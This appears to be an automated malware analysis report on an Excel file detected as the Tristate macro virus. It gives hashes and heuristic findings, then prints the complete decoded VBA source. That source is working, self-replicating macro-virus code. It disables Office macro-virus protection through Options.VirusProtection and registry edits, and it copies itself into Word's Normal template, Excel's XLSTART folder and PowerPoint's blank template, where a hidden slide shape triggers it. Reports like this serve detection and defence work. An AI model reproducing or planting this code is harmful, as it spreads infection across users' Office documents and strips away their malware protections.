Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8d6f91a72b1e02c…

MALICIOUS

Office (OLE)

29.0 KB Created: 1999-11-13 08:16:49 Authoring application: Microsoft Excel First seen: 2020-05-14
MD5: 558a2006ed45a16c85cb8ad49ec082fd SHA-1: a9e7be0ecf46f57be3e2093acf25eb3f327644c8 SHA-256: a8d6f91a72b1e02ccb217e69bc8df171b95ef652adb36c4ed3f626b5f1810639
320 Risk Score

Heuristics 6

  • ClamAV: Win.Trojan.Tristate-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Tristate-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set xlApp = CreateObject("Excel.Application")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
            Set WordObj = GetObject(, "Word.Application")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
                Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9805 bytes
SHA-256: adca8984bc4d9a54eab2dbb9d3cfdefcb3a27175d973fa41102bc02f56386542
Detection
ClamAV: Doc.Trojan.Tristate-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Triplicate v0.21 /1nternal
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountofLines
        AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
        If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
            AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
        End If
    End If
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
    End If
    If TT.Lines(1, 1) <> "'<!--1nternal-->" Then
        TT.DeleteLines 1, TT.CountofLines
        TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Word.Application")
        If WordObj = "" Then
            Set WordObj = CreateObject("Word.Application")
            WQuit = True
        End If
        Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
        WordObj.Options.SaveNormalPrompt = False
        NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + TW.Lines(23, 3) + Chr(13) + Chr(10) + TW.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub"
        WordObj.Run "Normal.ThisDocument.DisableAV"
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, TW.Lines(1, TW.CountofLines)
        Set NT = Nothing
        If WQuit = True Then WordObj.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
        Set xlApp = CreateObject("Excel.Application")
        Set Book1Obj = xlApp.Workbooks.Add
        Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines)
        Book1Obj.SaveAs Filename:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
        Book1Obj.Close
        xlApp.Quit
    End If
    If AW.Lines(1, 1) <> "'<!--1nternal-->" Then
        AW.InsertLines 1, TW.Lines(1, TW.CountofLines)
    End If
End Sub
Private Sub actionhook(tristate)
    On Error Resume Next
    If Int(Rnd * 7) = 0 Then
        Set Home = ActivePresentation
        If UCase(Dir(Application.Path + "\Xlstart\Book1.")) <> UCase("BOOK1") Then
            Set WordObj = GetObject(, "Word.Application")
            If WordObj = "" Then
                Set WordObj = CreateObject("Word.Application")
                WQuit = True
            End If
            Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
            WordObj.Options.SaveNormalPrompt = False
            NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(23, 3) + Chr(13) + Chr(10) + Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub"
            WordObj.Run "Normal.ThisDocument.DisableAV"
            NT.DeleteLines 1, NT.CountofLines
            NT.InsertLines 1, Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(1, Home.VBProject.VBComponents("Triplicate").CodeModule.CountofLines)
            NT.ReplaceLine 118, "Private Sub actionhook(tristate)"
            Set NT = Nothing
            If WQuit = True Then WordObj.Quit
            Set xlApp = CreateObject("Excel.Application")
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(1, Home.VBProject.VBComponents("Triplicate").CodeModule.CountofLines)
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.ReplaceLine 118, "Private Sub actionhook(tristate)"
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
            xlApp.Quit
            Set PBT = Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
            dontadd = False
            For Each ModComponent In PBT.VBProject.VBComponents
                If ModComponent.Name = "Triplicate" Then dontadd = True
            Next
            If dontadd <> True Then
                Set NewMod = PBT.VBProject.VBComponents.Add(1)
                NewMod.Name = "Triplicate"
                NewMod.CodeModule.InsertLines 1, Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(1, Home.VBProject.VBComponents("Triplicate").CodeModule.CountofLines)
                Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
                With ShapetoWack
                    .Name = "Triplicate"
                    .ZOrder (1)
                    .Line.Visible = False
                    .Fill.Visible = False
                    .ActionSettings(1).Action = 8
                    .ActionSettings(1).Run = "actionhook"
                End With
                PBT.Save
            End If
            PBT.Close
        End If
    End If
    ActivePresentation.SlideShowWindow.View.Next
End Sub
  RefreshTable
End Sub

Attribute VB_Name = "Arkusz1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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